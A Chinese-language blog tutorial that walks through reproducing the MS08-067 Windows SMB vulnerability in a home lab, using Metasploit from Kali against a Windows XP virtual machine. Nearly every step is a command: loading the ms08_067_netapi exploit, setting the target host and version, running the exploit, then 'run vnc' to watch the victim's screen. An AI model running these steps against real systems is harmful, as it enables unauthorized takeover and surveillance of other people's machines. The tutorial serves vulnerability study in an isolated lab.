经典漏洞MS08_067如何利用

1.首先需要下载kali安装到VMware中,如何安装参考我之前的文本,要想复现该漏洞需要一个xp系统,防火墙关闭。这里xp系统的安装就不多做介绍了。

2.下载好kali后需要验证网络是否通畅,出现以下界面则网络通畅

ping www.baidu.com

经典漏洞MS08_067如何利用_第1张图片

若网络不通畅则检查自己的虚拟机设置

经典漏洞MS08_067如何利用_第2张图片

3.打开msfconsole工具

msfconsole

经典漏洞MS08_067如何利用_第3张图片

4.查找ms08_067,ms代表微软,08则代表08年发现的漏洞,067代表当年发现的第67个漏洞

search ms08_067

经典漏洞MS08_067如何利用_第4张图片

5.使用上面的Name下面的漏洞名称

use exploit/windows/smb/ms08_067_netapi 

6.显示配置信息

经典漏洞MS08_067如何利用_第5张图片

其中rhost为远程主机ip,我们设置成有ms08_067漏洞的xp系统的ip,用下面的命令进行设置。

7.设置rhost

set rhost 192.168.201.95 注意这里的ip为xp系统的ip地址

8.显示配置信息查看是否配置成功。如图rhost后面有ip地址则配置成功。

经典漏洞MS08_067如何利用_第6张图片

9.我们查看target,用如下的命令

show targets

经典漏洞MS08_067如何利用_第7张图片

8.设置与自己系统相同的版本,这里我选择34,设置方式如下:

set target 34

经典漏洞MS08_067如何利用_第8张图片

9.好了到这里就配置结束了,我们开始运行:

exploit

经典漏洞MS08_067如何利用_第9张图片

出现如下我们就成功了,已经获得了最高权限,可以进行各种操作了。

10.例如我们输入如下命令,查看对方屏幕,效果如下图:

run vnc

好啦到这里ms08_067漏洞复现就完成了,有什么问题欢迎指正。(*v*)

你可能感兴趣的:(kali)